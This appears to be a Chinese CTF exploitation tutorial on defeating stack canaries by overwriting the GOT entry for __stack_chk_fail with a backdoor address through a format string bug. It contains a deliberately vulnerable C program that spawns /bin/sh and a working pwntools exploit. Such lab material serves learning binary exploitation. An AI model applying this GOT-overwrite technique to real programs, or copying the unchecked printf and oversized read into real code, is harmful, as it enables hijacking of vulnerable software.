Canary--劫持__stack_chk_fail函数

canary 检测失败会调用 __stack_chk_fail 函数，可以通过比如格式化字符串漏洞修改 got 表中对应 __stack_chk_fail 的位置为后门函数的地址来实施攻击。

示例程序：

#include<stdio.h>
#include<string.h>
#include <unistd.h>
#include <stdlib.h>
 
 
void backdoor() {
    puts("this is a backdoor.");
    system("/bin/sh");
}
 
void vuln() {
    char buf[0x100];
    puts("please input:");
    read(0, buf, 0x110);
    printf(buf);
}
 
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
 
    vuln();
 
    return 0;
}
 
// gcc pwn.c -o pwn -no-pie -Wl,-z,lazy -g

exp：

from pwn import *
 
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

#fmtstr_payload(offset, {write_address: write_value})
payload = fmtstr_payload(6, {elf.got['__stack_chk_fail']: elf.sym['backdoor']})
payload = payload.ljust(0x108, 'a')
payload += 'b'
# gdb.attach(p, "b *0x40124b\nc") #b *0x40124b\nc => 在printf下断点+continue,观察格式化字符串偏移
# pause()
 
p.sendafter("please input:", payload)
 
p.interactive()